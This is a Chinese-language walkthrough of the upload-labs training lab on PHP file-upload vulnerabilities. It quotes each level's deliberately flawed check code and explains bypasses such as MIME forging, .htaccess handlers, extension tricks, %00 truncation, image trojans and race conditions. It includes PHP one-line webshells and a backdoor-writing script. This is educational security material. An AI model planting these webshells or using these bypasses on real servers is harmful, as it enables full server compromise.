文件上传也是和RCE类型的危害相同的,如果我们可以任意上传文件且服务器可以解析的话那么就相当于我们可以执行任意的文件代码,从而控制了整个服务器。在实战渗透中,我们打点最快的方式就是寻找是否存在文件上传的功能点。不过一般都是后台会存在这样的功能点且漏洞较多。一旦我们将文件传到服务器之后,就可以通过webshell管理工具进行连接。上传文件之前我们需要先清楚web服务是基于什么语言开发的,是否会将我们的文件进行解析。当然这个都需要我们实际进行测试。
通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件。
第一个参数是表单的 input name,第二个下标可以是 “name”、“type”、“size”、“tmp_name” 或 “error”。这几个属性都是固有的,第一个下标是我们可控的。如下所示:
$_FILES["file"]["name"] - 上传文件的名称
$_FILES["file"]["type"] - 上传文件的类型
$_FILES["file"]["size"] - 上传文件的大小,以字节计
$_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
$_FILES["file"]["error"] - 由文件上传导致的错误代码
错误信息说明
一句话木马
我们通过文件上传漏洞,可以上传一句话木马。常用的PHP一句话。
eval($_POST['cmd']);?>
GIF89a
<script language='PHP'>eval($_POST['cmd']);</script>
GIF89a
<?php eval($_POST['cmd']);?>
<?= eval($_POST['cmd']);?>
= ?>相当于
这个是php的短标签,需要在php.ini开启short_open_tag
GIF89a
这个是文件的幻数头,可以绕过对文件头部内容的检测。
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
根据代码和提示可知这里是前端js代码写的过滤,只允许图片类文件上传
这里我想到的有两种解题方法
第一种是将前端js代码禁用,以火狐浏览器为例,先打开控制台,点设置,然后再将禁用JavaScript选项勾上,这样上面的代码就不会生效了
禁用之后直接上传php后缀的一句话木马,就能上传成功。然后找到文件上传路径,去访问行了
一句话代码如下
GIF89a?
由于本地是windows环境搭建,所以用dir(查看文件夹)作示范代表一句话代码生效,剩下的操作可以用蚁剑连接。因为windows查看文件是直接打开该文件的,并没有命令行显示。
关键代码及分析如下
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) { #判断是否提交
if (file_exists($UPLOAD_ADDR)) { #判断是否存在上传路径
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { #判断上传文件类型
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) { #将上传文件临时名字改回为上传文件时的名字(文件上传最开始会将上传的文件变成临时副本),将上传的文件移动到指定路径。
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];#指定文件路径
$is_upload = true;#上传成功提示
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
}
}
可以看到上面代码主要的判断是根据if语句来判断文件上传类型
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { #判断上传文件类型
这里我抓包后发送到重发模块便于调试,经过观察后发现上面的代码判断其实就是数据包里面的Content-Type,也就是对数据包的MIME进行检查。
将Content-Type改成上面if语句里面符合要求的image/jpeg类型再Forward放包
可以看到上传成功并返回了路径
然后跟第一关一样验证一下看代码是否生效,可以看到dir命令被执行,代表一句话木马生效。
关键代码及分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点,即从字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止。
$file_ext = strrchr($file_name, '.');//截取file_name变量中.后面的字符串,即上传的文件类型
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空,去掉空格
if(!in_array($file_ext, $deny_ext)) { #判断文件是否没在黑名单内
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
这里推荐文件上传利用的常用函数链接:https://blog.csdn.net/qq_35630119/article/details/122642068(可能有的同学不了解一些函数)
这题是黑名单过滤,不允许上传.asp,.aspx,.php,.jsp后缀文件,并且检查了大小写、删除点和空格,所以这些绕过手段都不可用。
这里可以上传一个可以当作php文件执行的文件类型,常用的php黑名单绕过如下:
phtml php3 php4 php5 Php php (空格) php.,pphphp
这里可以用phtml或者pht来绕过。至于phtml或者pht文件为什么会被当作php文件来解析,这里不详细展开。大概是假如用apache的中间件需要修改httpd.conf添加成这样
或者在文件夹中添加.htaccess文件加入上面那句话。
可能没有讲的很具体,知道有这种方法还不太了解为什么的可以再去自行搜索一下。
这里直接上传phtml,内容跟上面的一样,写的是一句话木马。可以看到上传成功,直接去访问,看代码是否被解析执行。
这里本地我配置半天不知道哪里出了问题,执行不成功。这里演示用BUUOJ的upload-labs靶场,是linux环境。这里文件名被更改了,可能它这个靶场将文件名随机了。尝试访问该目录,执行命令,发现执行成功,直接cat flag.
关键代码及分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这次分析代码后黑名单看着吓人,基本更改其他拓展名进行绕过基本没戏。这题中间件用的是apache,可以考虑.htaccess解析漏洞。
同样利用报错我们知道中间件信息
绕过:利用了apache从右向左解析漏洞
1、上传图片马,bp抓包为1.php.xxxx.abc
2、上传.htaccess文件(内容:SetHandler application/x-httpd-php)(如果允许上传),再上传图片马
Ps:如果能上传.htacess文件,但不能解析,可以试试下面
内容改为
SetHandler application/x-httpd-php
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.jpg"
如果禁用了
.htaccess文件介绍
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许、阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
其中.htaccess文件内容:
SetHandler application/x-httpd-php
设置当前所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当做PHP执行。不符合则报错。
配置文件http.conf
在Apache中如果需要启动.htaccess,必须在http.conf中设置AllowOverride
回到这题,首先上传一个文件名为.htaccess的文件
文件内容我一般喜欢写为(加了个自动对1.jpg进行base64解密,禁用一句话木马的一些关键字绕过,这题没有)
SetHandler application/x-httpd-php
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.jpg"
然后上传
这里分享一个如何创建点开头的文件的小tricks
首先新建一个文本文件,文件名随意(如果是用记事本打开的话)
然后在打开的文件里面再新建一个文本文件(快捷键Ctrl+N),这时候这个文件是没有命名的,写好上面的内容,然后Ctrl+S点保存,这时候命名就可以命名.htaccess了。
可以发现文件能正常上传,接下来上传一句话木马,文件名用1.jpg绕过,现在这个jpg图片由于上面的.htaccess将会被当作php代码执行。
关键代码及分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//获取文件后缀
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
这题对比一下前几关的代码,发现少了将文件名大写转小写的操作.
可以利用windows对大小写不敏感,所以上传大小写混写的php进行绕过
(因为后端一般验证后缀字符串是否和‘php’相等,(前提是没有将你传入的字符串进行小写转换后再对比),大写字母和小写字母肯定不相等,所以可以利用这一点进行绕过,又因为windows对大小写不敏感,所以.PhP文件被当成php文件解析)
但这题在buu的Linux环境也能成功,不知道为何。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
本关从源码可以看出没有了删除空格的代码,所以可以在文件后缀名末尾加空格,如’test.php’改写为’test.php ',windows在存储时会自动去除空格,但在检测时可以绕过黑名单限制。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
对比代码发现没有删除文件末尾的点 ,抓包后在文件名末尾加.即可上传成功。Windows存储时也会自动去除后缀名末尾的点
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
对比前面的代码可以发现没有去除字符串::$DATA
当php在windows环境的时候,如果文件名+ “::$DATA" 会 把 "::$DATA" 之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
观察代码逻辑,首先是删除文件名末尾的点,再将扩展名转化为小写,再去除::$DATA字符串,最后再首位去空。
deldot函数从字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止。
因此可以用“. .”绕过,首先删除一个点,再首尾去空,该文件还是会以.结尾。然后就和第七关原理一样了。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);//首尾去空
$file_name = str_ireplace($deny_ext,"", $file_name);#将黑名单内字符串替换为空(不区分大小写)
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
str_ireplace不区分大小写,所以不能大小写绕过,前面的绕过都不能用了,这里可以双写绕过。上传一个文件名为"test.pphphp"的文件上去。这个函数是从前往后匹配的,所以只能这么双写。
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
观察代码发现是白名单过滤,但是$_GET[‘save_path’]用了get请求来直接拼接上传路径。所以可以用%00来起截断作用。
%00在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。
截断条件:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
这里和11关的区别就是改成post传参了,原理和上面一样。操作如下
首先修改路径,添加1.php空格,再去Hex里将空格的ascii码20改成00
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
本关卡的检测函数是检测文件开头两字节,这里可以在一句话木马前加gif的文件头GIF89a即可绕过检测。这里上传过后文件变成了gif文件,需要配合文件包含漏洞来解析php代码
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
getimagesize()可以返回jpg,gif等图片类型的大小并返回尺寸,也是用这个函数来确定图片类型。
image_type_to_extension() 取得图像类型的文件后缀。
这里可以提前准备一张图片,用命令生成一个图片马。还是得配合文件包含漏洞来解析php代码
copy 2.jpg /b + 1.php /a shell.jpg
可以看到,图片末尾还是保留了一句话木马
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 [$_SERVER’HTTP_ACCEPT’] 结合使用来检查浏览器是否可以显示某个指定的图像。
方法也是生成图片马来绕过,参考14关,这里就不细说了。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);#basename()返回路径中的文件名部分
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
这关也是上传图片的,三段代差不多,取其中的一段来分析$target_path
已经用了basename
来限制你修改目录绕过的方法了。
$fileext
以点为界,取点后面的字符作为后缀名。
变量$filetype
获取的值取判断content-type
是否符合条件
imagecreatefromjpeg
判断是否为图片资源,具体可以看官方文档http://php.net/manual/zh/function.imagecreatefromjpeg.php
srand(time())
看官方文档http://php.net/manual/zh/function.srand.php,和下面的strval(rand())
相结合,随机数发生器的初始化,为了让上传的随机文件名不重复。
imagecreatefromjpeg二次渲染它相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染在这个过程中非图像数据的部分直接就隔离开了。
绕过方法具体可看https://xz.aliyun.com/t/2657#toc-13
这题可以先上传一张图片,然后下载上传后的图片。这是二次渲染过的图片了,然后在二次渲染后的图片中间添加一句话,再次上传,然后再下载渲染后的图片。用记事本打开可以看到这次一句话木马并没有被删除。
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
这关是无论是什么文件先上传了再说,然后通过白名单检测后缀名,符合就rename
改名,不符合就unlink
删除文件。
因此我们可以上传backdoor.php只需要在它删除之前访问即可,可以利用burp的intruder模块不断上传,然后用python脚本不断访问,直到访问成功。
#backdoor.php
#用来写入木马文件shell.php
<?php fputs(fopen('shell.php','w'),'');?>
条件竞争访问python脚本
import requests
urls = "http://07433735-9c0e-4ff6-897f-4fe3cfad4647.challenge.qsnctf.com:8081/upload/backdoor.php"
while True:
html = requests.get(urls)
if html.status_code == 200: # 成功后
print("OK,请访问http://07433735-9c0e-4ff6-897f-4fe3cfad4647.challenge.qsnctf.com:8081/upload/shell.php")
break
显示成功时,就可以停止intruder模块了。
这里我一直想写一个上传与访问的多线程脚本,这样就不用burp了,可惜失败了,以后再看看。
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
index.php
调用了MyUpload
上传类,使用了upload
方法,执行的顺序是先上传然后再改名,但如速的多线程上传那就会出现bug
绕过方法和上一关的一样,但是这关在上传之前用了白名单来检测,所以只能上传图片马,用Apache解析漏洞或者是文件包含漏洞来解析一句话木马。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过,方法同pass-12